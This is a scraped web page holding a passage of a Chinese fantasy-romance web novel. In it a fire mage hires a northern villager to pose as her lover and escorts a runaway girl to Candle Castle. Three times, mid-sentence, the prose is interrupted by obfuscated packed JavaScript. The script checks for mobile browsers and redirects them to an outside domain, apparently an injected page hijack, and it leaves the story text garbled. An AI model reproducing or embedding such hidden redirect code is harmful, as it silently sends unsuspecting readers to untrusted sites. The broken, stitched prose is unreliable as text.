对方专注的视线令她脸皮发烫，呼吸变快，心脏不知何故剧烈跳动。仿若地底的岩浆奔流，即将从沉寂已久的火山口喷涌而出。 这是怎么回事？啊，明白了。 这个男人很英俊。 一种和王都流行风格迥异的英俊。 头发上没有抹油，身上也没喷香水，肤色是天生的匀白，无需粉底盖住毛孔，嘴唇稍微有点干，让人忍不住想要……帮他涂点儿东西。 ——要找一个有说服力的男人，要让人们觉得：玛西亚爱上他也是没有办法的事。 这种时候要说什么？斯黛拉，教教我，你对亚当说的第一句话是什么？ “做我的恋人吧。” 鬼使神差地，她说了十分出格的话，空气安静了一秒、两秒……玛西亚尴尬地愣在原地，咽了咽口水，羞耻心后知后觉地爬上来。 埃文不敢相信自己的耳朵。 他想起自己刚刚读过的浪漫小说。神秘而强大的路易吉公爵从天而降，打败恶龙，解救被掳走的牧羊女爱丽丝，他对她蛮不讲理地说：“这是命中注定的相遇，所以，做我的恋人吧。”而爱丽丝的台词是—— 埃文缓慢而清晰地说出那句话，像孤独地排练很多次的演员，终于等到出场机会似的，暂离沉闷平凡的现实，沉浸到浪漫的剧情中，灵魂飞扬起来：“谢谢，但我们可以先从朋友做起。” 先成为朋友、再坠入爱河，这是纯爱，顺序不能出错。 “对不起！！”她声嘶力竭地道歉。 理智重新回归，玛西亚惭愧得无以复加。面对陌生女人的骚扰，他应该骂她的，至少也该生一下气。 玛西亚搜肠刮肚，实在没想到什么能圆场的话，只好用真诚来弥补，她把自己的处境说给他听，也不管他能听懂多少，全都倒了出来。 “我得到了公爵的头衔，但领地迟迟没有兑现，王子的纠缠也让我胆战心惊，总感觉有什么可怕的阴谋……所以我想找人假扮我的爱人，好拒绝他的追求。我实在太需要帮手了，下意识就脱口而出！请你相信我，我真的不是故意戏弄你……” 又是公爵，又是王子的，说着说着，她自己都觉得她有点儿像骗子。 好在还有魔法可以为她作证，至少她真的是个出类拔萃的火魔法师。 于是，她捧起他冰凉的手，让魔力源源不断地向他流动，火元素散发出温暖的光芒，如一件没有重量的冬衣裹在了他的身上。可他反而哆嗦了一下。 她慌忙把手松开，心中暗叫糟糕，怎么连招呼都不打一声就直接摸？更像坏女人了。他年纪好像比自己小。 “我把你吓到了，对么？” “没有的事。” 为什么不能多握一会儿？小说里路易吉公爵只要抓住爱丽丝，是无论如何都不会放开的。 埃文的睫毛匆促地颤动，喃喃低语：“原来也是契约恋爱的剧情走向。” “什么？什么‘也’？”玛西亚没太听清。 “没什么。”埃文站了起来，拍了拍身上的雪，玛西亚的目光也追着他的脸一点一点上移，脖子逐渐变成仰角。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010685|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦，你可真高。” 埃文立刻垂下头，重新平视她的眼睛：“我妈妈个子就很高，爸爸也不矮。你……你讨厌高个子的人么？” 他露出乖巧的表情，仿佛在说他从来没有用这副强壮的身体做过坏事、惹过麻烦。 玛西亚深深呼吸，让冷空气进入肺腑：“不讨厌。我叫玛西亚·布莱斯。你呢？” “埃文·贝克尔。” 他打开菜窖，告知众人危机已经解除。奇怪的少年终于对埃文说了声“谢谢”，然后小声说出自己的名字：“我叫莉……我叫力诺。” 惊魂甫定，他们谁都没有回家，而是聚在埃文的屋里互相安慰。耳聋的多芬听不见外边的动静，担心得要命，直到现在，她还在抱着她的猫咪呜呜地哭呢。 看到老人家掉眼泪，玛西亚心里难受，往口袋里摸了摸，摸出几块奶糖。 她把糖纸剥开，想到老人家牙不好，便注入魔力，让奶糖微微融化变软，分给了他们。 埃文快速地阅读她的动作与细微的表情，将其理解为——温柔。 “埃文，既然村子里就这么几个人，没考虑过搬迁么？去大点儿的城镇生活会安全许多。” “不是没想过，但你也看到了，城镇很远，老人们经不起折腾。” 那么他大概率不会答应她做演员的邀请。玛西亚可以给他钱，却不能强迫他与在乎的人分开，埃文好像是个挺重感情的人。 “玛西亚？” “唔，还是我刚才跟你说的那件事。其实，我想雇佣你跟我一起回王都……”她欲言又止。 埃文情不自禁地扬起嘴角，他感到一种奇异的快乐，就像翻开新书的第一页，手指尖舍不得用力，与纸张接触的地方却隐隐有发麻的感觉。 答应跟她走的话，会发生什么呢？ 会是一个精彩的故事么？ 可惜，兴奋只持续了一瞬，他很快清醒过来，放弃了幻想：“抱歉，我没法出远门。” “可以理解。”就是有点遗憾。 这时，丽萨突然用拐杖戳了理查德的腿，示意他开口。 理查德清了清嗓子。 “埃文，要我说，你应该跟着这位魔法师小姐走，去见见世面。是了，你这个心肠软的孩子肯定在想：‘我若走了，今后谁来埋葬他们呢？’可你别忘了，人死灯灭，本来就什么也不知道了，谁还管身后有没有葬礼？谁还能在死后听得到哭声？无论有没有坟茔，天国的精灵都会伸出手，把我们接回去。老家伙也有自尊心，别让我们变成你的累赘。” “不，你们不是累赘，我完全心甘情愿。你们很照顾我，我也应该回报。” “回报！回报！回报什么啊？”接话的是丽萨，她反问埃文，“你以为这是哪儿？极北之地！我给你一块黑面包，你还我一块马铃薯，回报来回报去的，还不是只有这些东西？最后冰龙飞来，我们再一起死。保准是这样的结局！” 丽萨容易激动，停下来缓了口气，才继续说：“听着，埃文。人魔战争打了六十年，冰龙一直在头顶盘旋，我们这代人运气不好，再怎么拼命，也只能活成这个样儿了。但是你不同，你应该去努力过得好一点，明白么？幸福一定会落在好孩子的身上，前提是你得伸出手，接住精灵撒下的花瓣。不要以为错过一次机会还有下次！” 他几乎要被说动了。 力诺突然开口：“你们可以搬到蜡烛城堡去，离这里不远。这样，埃文就可以放心地出发。” 5. 没有剧本的故事 意外听到了自己此行的目的地，玛西亚眼中闪过好奇，追问道：“蜡烛城堡到底是什么地方？” “是……我家。”力诺吞吞吐吐。 玛西亚觉得这少年有些怪异，追问：“你是贵族？” “不，不算。哥哥曾经是某位淑女的护卫骑士。后来，我们遭遇变故，背井离乡来到这里，买下了一座旧城堡作为容身之所。虽然光景不复从前，但三个人一只猫还是可以照拂的。” “你和你哥哥关系不好么？为什么离家出走。” “好。哥哥是非常好的人。” 力诺犹豫了很久要不要说，终于，他讲出了前情：“我被人盯上了，有人千方百计想得到我。为了保护我，哥哥已经失去了太多东西。所以……我逃跑了。” 此话一出，所有人都感到困惑。 什么叫有人想要得到他？ 力诺低下头，咬了咬嘴唇，似乎不愿面对，艰难地吐出一句：“我是元素亲和者。” 她挽袖子，露出手腕，给玛西亚看手腕上呈十字分布的四颗圆形印记。 在场的只有玛西亚能懂，她向众人解释：“魔法无法通过血缘传承。但人们发现，元素亲和者的后代有较大的概率觉醒魔法天赋。所以有的魔法师会特意寻找亲和者结合，想用这种方式延续自己积累的财富与荣耀。” 埃文皱了皱眉头，评价道：“这听上去不太像人类的婚姻，倒像培育品种宠物——不过，任何名贵的猫都没有我们鲁鲁可爱就是了。” 那只橘白猫听懂了人话似的，骄傲地一翻身，后腿一蹬，从多芬的膝盖上跳下来，绕着埃文的脚踝磨蹭，粘了他一裤腿猫毛。 玛西亚点点头：“没错，魔法本该是让人拥有更多自由的力量，而不是相反。何况那只是概率，而且，也并不是觉醒了魔法天赋就一定能成为魔法师，还需要长期学习。只有极端功利的人才会这样做。对了……力诺，你今年几岁？” “十四岁。” 玛西亚更觉奇怪：“我认识的女魔法师都很反感这种结合，因为这对女魔法师而言，很像用自己的孕肚去赌博。所以到底是哪个疯子在觊觎如此年幼的你？” 力诺的眼中闪过一丝不自然，回避着众人的视线，闷了半晌，才彻底交出实情。 “我……是女孩，我叫莉莉娅特·斯温。那个魔法师叫格罗姆。” 她小心翼翼地试探起来：“姐姐，你听说过他么？你比他厉害，对么？” 玛西亚平静地回答：“嗯。我比他厉害。” 她没听说过格罗姆。可是，她知道自己有多强。 “太好了！那，姐姐……你能不能……” 莉莉娅特难掩欣喜，又不敢继续说。她不断在心中思考埃文对玛西亚的重要性，不确定蜡烛城堡安置老人的举动能否换来玛西亚的帮助。她的表情开始紧绷，让玛西亚看了心里怪难受的。 于是，玛西亚对她说：“可以。你带我们去蜡烛城堡，剩下的事我跟你哥哥谈。” 莉莉娅特睁圆了眼睛：“你愿意帮助我？” “当然，你都叫我姐姐了，我没法不答应。”玛西亚朝她笑笑。 埃文一边在心中深深刻印这个温柔的笑容，一边为没能及时关注到莉莉娅特的情况感到后怕。若不是玛西亚到来，她要多久才能放下戒备，和村里的人说实话？ 他问她：“那你原本计划逃到哪里去？” “不知道。”莉莉娅特摇摇头，小声说道，“我没有计划。” 埃文叹了口气，他知道，与其说莉莉娅特不够聪明，不如说她很迷茫，很混乱。 必须对她说点什么才行。 “莉莉娅特，你是孩子，你本来就可以心安理得地接受大人的帮助。如果你哥哥失去了一些东西，那也都是格罗姆的错，不是你的错。就像刚才，如果我被龙吃了，我也只会恨那条龙，不会怪你。是我自己冲上去的，对不对？” 莉莉娅特听进去了，心里的恐惧如大雾般被风吹散，这么简单的道理，自己居然没想通。 玛西亚也暗暗对埃文满意，她不需要一个多么高尚的人，只需要他能对自己的选择负责，接了任务之后别轻易反悔就好。 一番商议后，他们决定明天上午出发前往蜡烛城堡。 丽萨奶奶强势地拉着莉莉娅特去她家吃饭、过夜，不许她再回空屋硬抗。理查德和多芬也各自回家，只留玛西亚杵在原地。 阳光从窗栅斜下，落在埃文的半张脸上，明亮的部分璀璨如金，没入阴影的部分则格外幽深。他站在那里，让玛西亚无法不去看他。 对了，还没谈报酬呢。 她刚要开口，埃文就发问：“这个任务具体需要我做什么？有什么要注意的？” 玛西亚喜欢他此刻兴致勃勃的表情，让她回想起当初在暮星酒馆第一次赚钱的时候，只是打一份工而已，却带给她带来希望。 “细节我也没有想好，总之就是要王都的人相信，我与你情投意合，绝无分开的可能，让卡尔王子放弃对我的追求。” “唔，所以没有固定的剧本，要即兴发挥。” 玛西亚知道这任务并不简单：“是的，你可以吗？报酬不是问题，我得到了很多奖赏，来自不同国家的金币、宝石、马匹、丝绸……你可以从里面随便挑。任务期间你所有的开销都算我的，任务结束后你想去哪里生活都行，我会给你足够的安家费。” “比起这些，还是先把人物设定理一理吧。” “嗯？”玛西亚愣了愣，没反应过来。 埃文嘴角上扬，展露出兴趣使然的笑容，认真说道：“任何爱情故事，想要站住脚，归根结底只需要说明两个问题：我是谁？我为什么爱上他？” 玛西亚想了想，说：“我是个魔法师，我喜欢战斗，正好你有强壮的肌肉和与龙正面对决的勇气，我们相似的同时又互补。这样合理吗？” “合理，但是感觉很普通。肌肉又不是什么了不起的东西，勇气虽然稀缺，但危急关头，谁还不能爆发出一点儿胆魄。”他抛出问题，金色瞳孔里闪着光，视线灼人，“为什么非得是我呢？为什么玛西亚一定会爱上埃文？” 玛西亚不免为这样的问法难为情，看他一副投入的样子，又觉得自己不该胡思乱想。 于是，她回想自己的成长经历，试图挖掘自己的性格底色，说：“我和妈妈两个人相依为命，过着清贫的生活。十二岁的时候，我觉醒了魔法天赋，要知道天赋不等于能力，穷人家供出魔法师是很难的。周围的人都劝妈妈算了吧，不如早点让我去餐馆或商店工作，然后就嫁人，她好轻松一点。可是我妈妈觉得我是个宝贝，她拼了命地赚钱，省吃俭用送我去王都念书……” 她从头介绍自己，没注意到埃文看她的眼神已经变得很柔和，似乎在为她得到的母爱感动，也像羡慕她的妈妈还在人间。 “在王都生活真的很不容易。同学们非富即贵，我很难交到朋友。大多数人，他们也不是有意看不起我，而是很自然地从一些小事中发现我是和他们不同的人，然后渐渐疏离。 第一个学期，有个女同学邀请我和她们一起去吃甜品，去了我才发现小小一碗冰沙就要九十铜，我一周的生活费只有一百五十铜。我本想咬牙付钱，不占别人便宜，也不要扫兴，下周勒紧腰带省一省，以后不来了就好。结果，甜品店就是她家名下的产业，她没打算收任何人的钱。她发觉我不自在，也就不好再约我。人总是和相同阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010686|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级的人相处更轻松，我理解，所以也没有很失落。 我把全部精力投入到魔法上，魔法本身奇妙无穷，我从中得到了快乐，并不觉得孤独。” 稍微顿了顿，她继续说：“但当我的水平开始领先于众人，我平静的生活一去不复返，此前对我不屑一顾的男同学们，在月落节给女生送花的时候也会想起我，还时不时说些恶心的赞美。” “恶心的赞美？” “嗯。他们会说：‘虽然样貌平平，到底是个高阶魔法师呢。现在娶回去很值得，低买高卖。’别提多可恶了！” “你会怎样反击？” “我不太会吵架。心里想的很清楚，但是一张嘴就结巴，气势上就输了，如果真的掉眼泪，岂不是更让他们兴奋么？所以，我不多说，直接在考试时把他们一个个打趴下。”她朝空气挥了下拳头。 “帅死了！”埃文为她叫好，又有些为她难过，“你度过了很辛苦的青春呢。” “也还好，因为我有斯黛拉，她是我最好的朋友。而且求学的辛苦是有价值的辛苦，不是单方面的受罪。” 玛西亚拉回话题，说出自己的分析：“所以你看，以前，我没有机会恋爱，身边也都是些傲慢的男人，现在，我被一个英俊的朴实青年迷住不是很正常么？” 埃文没忍住“噗嗤”一笑，问：“原来你对我的评价是英俊、朴实。这样就足够被你爱上了么？玛西亚，对男主角的要求再高一些吧。” “什么？” “我说，对男主角的要求再高一些。” 他指了指桌上的书。 “这是？” “小说，浪漫小说。”他开始滔滔不绝地介绍，“这本是比较古典的爱情故事，男主角权势滔天，女主美貌惊人，剧情拉拉扯扯，结局生三个孩子，我不是特别爱看。” “哦，这样啊，呃……” “这本就比较有趣，男主表面风光无限，各方面都拿得出手，实则因为过往遭遇，有着某种隐秘的心灵缺失。遇到女主之后，就像患者找到灵药一样欣喜若狂。当然，因为剧情需要，他不会一开始就表现得那么明显。看他为女主辗转反侧，见面后又强装镇定，真的很好玩儿。” “好像，好像有点儿意思？” 玛西亚不安地应和，她没看过这种书，很难想象那会是怎样的故事。但看他那么兴奋，又不忍心打断。 “角落里这本呢？” 他嫌弃道：“很糟糕的作品。女主角卑微受苦到最后，只得到了空口无凭的爱。没有参考价值。” “所以按你的标准，好的爱情故事是什么样的？男主角应该具备怎样的品质？” “跟我来！” 他领她走进自己的卧室，墙边有一张床，靠窗有条长桌，桌子上堆着一摞摞的书，像用纸堆出了一座小山。桌边立柜的几排格子也被书本塞满。 玛西亚无声地长大了嘴巴，空气中的透明尘埃反射着光芒，金屑似的在这座书山周围飘荡，似一种神秘的召唤。 “灵魂，好的爱情是灵魂相契。” “他们互相吸引，渐渐明确心意，哪怕反派一次又一次使坏，不可抗力让他们分开，他们也会再次相遇，因为他们就是这样的人，他们只要各自走在自己的人生道路上，这条道路就必然重合。” “他们在一起时，能在爱情中感受到生命的宝贵、世界的广阔，他们像两个孩童，手拉着手，奔跑在天国乐园！” “至于男主角，一心一意是最基础的。不管具体是什么样的性格，都有善良作为底色，不管能力高低，都要尽力争取和她最好的结局。日常相处要真诚有趣，还要富有激……激情。” 哦，谢天谢地，他停下来了。 6. 被风吹起的头发 黑面包、白煮土豆沾盐，还有一锅加了几片香肠的白菜汤，埃文非常惭愧没办法让救命恩人吃好一些，但玛西亚已经非常满意了。 火魔法师不怕冷是一回事，坐在冰天雪地里喝着风吃干粮是另一回事。埃文提供的饭菜让她胃里舒服。 吃完晚饭之后，玛西亚去多芬奶奶的小屋歇下。 极北之地的房屋墙壁很厚，隔绝着冬夜晚风肆虐的呼啸，多芬耳朵听不见，自然也不说话，房间里除了猫咪鲁鲁轻轻走动，偶尔跳到家具上的声音就什么也听不到，静得好像能听见自己的心跳。 屋里没有点灯，光源唯有炉火，火焰跳动着，为目之所及的一切覆上暖色。她蹲下身子，挠了挠鲁鲁的下巴，它眯起眼睛，享受地让她摸。 “真乖啊，鲁鲁，你让人摸！” 是不设防的亲人猫咪。 不，也许不是它亲人，而是在这天寒地冻的北方，所有的生物都知道要依偎在一起，靠近一点，就温暖一些。在这样安静又温馨的小屋中，她很快昏昏欲睡。 连日赶路，她好久没睡过这么舒服的床和被窝了。 念着玛西亚帮她剥了一颗奶糖，多芬也往玛西亚被子里塞了什么东西。玛西亚迷迷糊糊地接住了，抱在怀里，没有睁眼。 她只当多芬给了她一块用来取暖的石头，她老家那里的人会把石块烤热之后再用毛巾缠起来暖手。 应该是差不多的东西吧，它摸起来圆圆的，很温暖。 等到第二天醒来，她才发现自己怀里是一颗浅红色、布满黑色网状斑纹的……蛋。 这是什么？ 问多芬肯定得不到答案，她披上外套，搓了搓鲁鲁的头，又忍不住把脸埋在它身上猛吸一口，心满意足地走出门去找埃文。 玛西亚想起他昨天说着自己热爱的小说，头头是道，兴奋、幸福，以至于双眼冒光的样子，她在自己都没意识到的情况下，笑了一下。 他喜欢浪漫小说，这个爱好有点小众，她不太理解，但正好对他们的角色扮演有用。 何况他很漂亮，符合她的审美。她已经开始想象，当他和卡尔同时站在一起，一定是是埃文更胜一筹，人们会觉得他更像王子。不，不需要像王子，那个身份也没什么了不起的。 玛西亚得出结论：运气很好，找到了满意的演员。 埃文已经收拾好了行李，桌子上放着一本摊开的书，估计是想一起拿着，在路上慢慢看。 “埃文，日安。” “日安。你看上去心情不错，玛西亚。” “嗯，睡得很好，是踏入极北之地后睡的第一个好觉。我想问问那颗会发热的、红色的蛋是什么。” “哦，那是一枚炎晶鸟的蛋，它会把蛋生在人类的家，我们这里的人用它取暖，其实也是在帮它孵化。炎晶鸟破壳飞走的那天，就是春天到来的时候。” 他回答得详尽，说完之后，转身取出一枚炎晶鸟蛋交给玛西亚：“这个给你。” “你要送给我？送给一个不怕冷的人取暖工具？”玛西亚皱眉不解，却双手接过，听闻这枚鸟蛋真的可以变成生命，下意识地小心捧着，感受它徐徐散发的温度。 “我也没有别的东西可以送你啊，”埃文笑笑，“你救了我的命，给我一份好玩儿的工作，还带我去王都见世面。我怎么可能什么都不表示？我知道这不算什么，但我会把任务完成得漂漂亮亮的，放心。” “那你呢，你还有暖被窝的东西么？” “嗯，没有。不过这个鸟蛋本来也没多热，安慰的作用更多。等待春天，会让冬天不那么难熬。” 听他这么说，玛西亚才安心收下，说了声谢谢，把鸟蛋装进束口袋，揣到怀里。 然后，她坐下来，随手拿起埃文桌上的一本书翻开，眼睛只稍微一扫，立刻被夸张的字句冲击得说不出话。 ——当你的眼睛看向我，我心中涌起英雄的气概，想变成巨人，为你摘下星星；当你的眼睛看向别处，我便跌入暗无天日的深渊，觉得自己一无所有。 ——哦，路易吉，那身披铠甲，趾高气昂的勇士去哪儿了？那高高在上，不可一世的公爵去哪儿了？你不是说，我们只是名义上的情侣，实际上什么关系也没有么？ ——爱丽丝，在你面前，没有勇士，也没有公爵，只有一个向你祈求爱情的可怜的人。 玛西亚心想，完了，这种感情丰沛如山洪暴发的告白，自己今生今世都没办法说出口。 光顾着严格挑选演员，忘了要求自己，如果她在和埃文说情话的时候忍不住笑场，或者尴尬到卡壳该怎么办？自己可不是什么机灵的人。 必须在回王都之前准备好。再和埃文好好请教一下吧。 于是她放下这本《铁血公爵对我动心》，正色道：“埃文，我们继续昨天的话题吧，我到底为什么喜欢你？我们该跟别人怎么说。” “我喜欢你，玛西亚。” “……” 直接开始排演了么？ 她咽了咽口水，艰难地张开嘴，掩盖过于混乱的呼吸，对上埃文那双迷人的金瞳。 “我……我，我也喜欢你？” 她试着去回应，两片嘴唇就像在抽筋似的打着抖，犹犹豫豫，破绽百出，哪有情侣会这样？她的演技是一场灾难。 “不，不是在念台词。昨天你说的那些喜欢我的理由，怎么说呢，虽然每一条都合理，但我猜你在感情中应该是比较被动的那种人吧？你心地善良，人也温柔，但是又有一点迟钝。这种类型的主角应该配一个坦率又热情的伴侣。” “听上去很有道理。” 怪不得她会和斯黛拉做朋友，斯黛拉就是这种人。 “所以，我喜欢你，玛西亚。当别人问你为什么爱上我，你就可以推说：因为埃文很爱我呀！爱到我无论如何拒绝不了他。这样戏份就落在我头上了，你遵从自己原本的性格去做出回应就好，会自然很多。” “明白了，你可以引导我。” “对。别的不敢夸口，我可是情感专家。”他朝她挤眼睛，得意洋洋。 玛西亚再次感激地回以一笑：“真好。等到了王都……” 意识到不能立刻兑现的承诺会让人信不过，她开始在外套的兜里摸索。她喜欢穿有着大口袋的衣服，难免鼓鼓囊囊，破坏身材的曲线。但她本来也不在乎那个，出门在外，方便就行。 “给你。” “这是？” “海里的石头，颜色很好看，对吧？” 埃文满是震惊地看着这微微呈现半透明的蓝色珠子，哪怕他生活在极北之地凋敝的村庄里，缺乏这方面的知识，也能从它奇异柔和的光晕中感受到它的珍贵。 她要把这个，送给他…… “怎么不接过去？”她想了想，露出恍然大悟的神情，“我不是特意送你礼物，这是我给你预付的报酬。” “那也太多了。” “不，埃文。没你想象的那么贵，也不算真正的宝石，大概值三十个银币左右。出门带在身上是当备用金的，它很小，又好出手，不是么？以及，我是雇主，我知道该给你多少合适。” 这个任务表面看不危险，但是需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010687|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要相当程度的勇敢。不是所有人都能出于对浪漫剧情的兴趣，以及去王都见见世面这样单纯的理由去冒犯王权。 并且，经过刚才磕磕绊绊的对白，玛西亚已经意识到了这个任务的难度。 如果不是对着埃文英俊的脸，恐怕她连结巴地说出“我喜欢你”四个字都做不到。 “埃文，你值得。”她一字一顿，笃定地说完，轻轻抓过埃文的手腕，把珠子摁在了他的手心里，“我的直觉告诉我，男主角只能是你。” 这下轮到埃文惊慌。 玛西亚看上去是不会撒谎的人。 她的手一直这么温暖吗？这是魔法的温度，还是她自己的体温？ 她的手……好像忘了松开。 “埃文，收拾好了么！我们已经装好冰车了！抓点儿紧！” 丽萨奶奶气势磅礴的一嗓门把埃文从此刻的情况里解救出来。透过玛西亚青绿色眼眸，沉静从容的表情，他看不出她是否和他一样，感受到了暧昧。 她只用普通的魔法攻击，一下就打死了一只巨大的冰龙。她还是个公爵，即便领地没有到手，那也是打死平民不用偿命的大人物了。她其实没必要对他好声好气地说话，还一直允许他对她直呼其名。 因为玛西亚本来就是个好人，所以她才对自己这么好。 可是，要是玛西亚真的对他有点好感呢？ 他心里像被小虫子蛰了似的，突然痒了一下，又很快反省——男人不可以这么自恋。 太把自己当回事的男人成不了主角。 “埃文，冰车要怎么用？我看村里没有蓄养拉车的牲口，不会要靠人力拉这么多东西吧？”玛西亚问。 他回神，一边把桌上的书塞进包里，一边说：“有驱动器。用魔法做的。村里的冰车年头很久了，理查德爷爷应该能说出些来历。” 稳稳坐在冰车上后，玛西亚发现所谓的驱动器是一个小型的水魔法道具。魔法减少了车与地面的摩擦力，同时增加了一个单向的推力。原理和她当初赶路时做的冰滑梯通道差不多，只不过这个装置无需借助温度来实现冰水之间的转换，人一上车坐稳，它就快速开始滑动。 “这简直是杰作！为什么从来没人传扬这位魔法师的名字？” 理查德从帽子和围巾中间露出一双眼，眨了眨，语焉不详：“我们这种地方，在古时候，您也知道……” 明白了。 一百多年前，这里是流放地。除了当地人口不多的原住民，这儿住满犯了罪的贵族和他们的倒霉仆人，以及被驱逐的魔法师。 当时，魔法被当成一种异变，突然觉醒魔法天赋的普通人不懂怎么应用自己的能力。经常有火魔法师莫名其妙就烧毁房屋，风魔法师控制不住气流把人一切两半，连攻击性不强的水魔法、土魔法也在捅娄子这件事上花样百出。 人类花了约三十年的时间才理清楚魔法天赋是怎么回事，学会了控制、使用这种能力。 在人魔战争爆发之前，魔法师的社会地位很低。那时候没有系统、成熟的魔法师教育，觉醒者的水平大多不高，他们被当成一种有特殊才艺的马戏团演员。 统治者会强令犯罪的魔法师吞服一种叫抑魔石的矿物粉末，限制魔法师的能力。如今，人们已经弄不清楚那到底是什么东西了。 人魔战争爆发后，情况便逆转过来，魔法师成为了人类中唯一能与魔族一战的力量。战争让魔法师的地位空前提高。 “是个生不逢时的天才呢。” 玛西亚为无名的前辈唏嘘着，冷风把她暖棕色的头发吹扬起来。 7. 蜡烛城堡的主人 冰车停稳在城堡门前，莉莉娅特跳了下来，守门人从看清是她之后，欣喜若狂地朝里大喊一声：“莉莉娅特回来了！” 不多时，一个圆脸妇人就小跑着出来接她，结结实实把她抱住，又是搂又是亲。 “小小姐！你去哪儿了啊！要把你哥哥急死么！” 莉莉娅特一下子就哭出声来：“兰妮，对不起，呜呜呜……” “回来就好，回来就好。” 兰妮一扭头，看到跟着莉莉娅特一起回来的众人，擦了擦眼泪，展露出笑容，客气地招呼：“是你们搭救了莉莉娅特吧？快请进来。” 他们走进蜡烛城堡。 这是一座典型的北方城堡，高达八米的灰白色的石头围墙，圈起方方正正的围楼，隔出了内庭，高大的主塔巍峨耸立，给人古典而庄严的印象。 “为什么叫蜡烛城堡？”玛西亚问。 兰妮答：“城堡原来的主人说，从前，方圆百里只有这里用得起蜡烛，在漫长冬夜，数这里最亮。不过克劳德少爷买下它时也没花几个钱。” “看来您家以前比这更富有。” 兰妮不接茬，只问：“听莉莉娅特说，三位老人想住在这里，对么？” 玛西亚答：“是的。作为报答，我会去解决掉格罗姆。” “哦，天呢，您居然说是报答。小姐，你若真的有能力解决危机，就是我们的大恩人！再说，哪怕他们自己来投奔，我们难道会把这样的老人拒之门外么？空屋子多得是。在极北之地，没什么比人更珍贵了，克劳德少爷一定也会这么说。” 兰妮是仆人，但在这座城堡中，她俨然是个有话语权的家长。 “克劳德·斯温先生什么时候回来？” “一早就出门寻找小姐去了。这几天都是入夜后顶着风回来，活像个心碎的幽灵，谢天谢地，莉莉娅特回来了。你们歇歇，我去让赛娜准备晚饭。” 兰妮主管家政，主厨赛娜是她的女儿，她的女婿则是主人的亲随，现在正跟着克劳德一起在外边找人。除了他们，这里还有一众洗衣女仆、杂役、门房、车夫。 莉莉娅特说他们家已经掉出了贵族的阶层，但财力和家里和睦的氛围又都还不错。不缺钱，也不缺凝聚力，这让他们选择极北之地容身这件事显得十分古怪。 兰妮带着莉莉娅特梳洗，老人们被带到房间休息，另有一个年轻男仆陪客。 他给玛西亚和埃文端来饼干和热茶。 “斯温家以前住在哪里？”玛西亚问。 “我们是打格林伍德湖区来的，在这儿五年了。要说格林伍德的风景是真美啊！翠绿的森林围绕着镜子似的湖，无数的水鸟在湖面上飞，有时，还有天鹅哩！我小时候很爱钓鱼，可惜技术不好，钓不上来几条，虾倒是好捉。把虾用水煮红了，盐都不放，直接吃就很香！” 他这个年纪，在蜡烛城堡生活跟坐牢一样寂寞，逮住一个陌生人，就要叽叽喳喳聊半天。心里不装事，嘴巴比兰妮松。 玛西亚问：“所以到底为什么会来这儿呢？” 男仆神色一黯：“没办法，主君家的小姐要嫁给贵人。他们觉得克劳德少爷和她走得太近，就把我们赶走了。要我说，他们两个肯定清清白白！只是关系好就这样被驱赶，如果真有什么，我们早没命了！” 玛西亚想，看来克劳德曾经侍奉的淑女，就是这次在暮星酒馆找人帮她送信的匿名贵妇。 王都有哪位夫人是从湖区来的么？她的大脑运转失灵，她们的名字、头衔总是一长串，精致的妆面覆盖着她们的真容，无法一一对应。 趁健谈的男仆被人叫走的空当，玛西亚对埃文说：“莉莉娅特不可能不告诉她哥哥你是我雇来的，我手里还有一位王都贵妇人给克劳德的信，也不知道是哪家的夫人。” 埃文惊讶地看向她，玛西亚现在的表情竟然有些轻微的焦虑。 “你担心他会泄露秘密？” “不知道，新认识的人，总要观察一阵才知道能不能深交。” 诚然，她是个公爵，但她并没有实际的治理经验，社交技巧和政治手腕都非常稚嫩，没比一般的平民高明到哪里去。 玛西亚唯一熟悉的，与人建立交情的方式就是真诚，再谨慎地根据对方回应的态度，判断能不能信任。 埃文暗暗地想，原来自己是一个例外，他们刚认识，玛西亚就认可了他。亦或者情况确实紧急，她不得不把希望寄托在临时演员身上。 一种被委以重任的感觉油然而生，埃文决定为自己好心的雇主，同时也是新交的朋友全力以赴。 “玛西亚，且不说你即将帮他一个大忙。就算没有格罗姆的威胁，你现在也可以信任斯温兄妹。” “为什么？你这么确定？” 埃文压低声音，自信地说出他的判断：“你有秘密，他难道就没有么？要我说，克劳德肯定喜欢自己曾经侍奉过的那位淑女。” 玛西亚瞪大眼睛，怪异地看了他一眼：“刚才那个仆人不是说，他们只是关系近一些么？” “玛西亚，在这种故事里，十个骑士有九个都很痴情。” 玛西亚：“……” 她望着埃文的脸，眼睛快速地眨了眨，像被什么美丽璀璨的东西吸引，又被他单纯的光芒刺了一下。 “我想，你不能把浪漫小说当成认识世界的唯一途径。” 